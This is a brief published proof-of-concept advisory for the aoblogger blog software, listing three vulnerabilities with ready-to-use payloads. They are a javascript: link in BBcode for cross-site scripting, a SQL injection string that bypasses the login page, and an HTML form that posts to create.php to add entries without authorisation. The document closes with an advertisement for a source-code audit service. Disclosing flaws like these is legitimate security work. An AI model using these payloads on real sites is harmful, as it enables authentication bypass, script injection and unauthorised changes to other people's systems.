PoC/Exploit for Multiple Vulnerabilities in aoblogger

Published Proof of Concept code - Multiple Vulnerabilities in aoblogger.

Description
Available
Solution
Not available - check vendor's website

1. BBcode Example:

[url]javascript:alert(123)[/url]


2. SQL Injection Example:

link: http://host/aoblogger/login.php
username: username'/*
password: any


3. New Entry creation

<form action="http://host/aoblogger/create.php" method="post">
<input name="uza" value=1>
<input name="title" value="anytitle">
<textarea name="message">anymessage</textarea>
</form>

Order Source Code Test

Protect a website or web application by source code audit of your website made by eVuln team.The work will be done by experts in web security.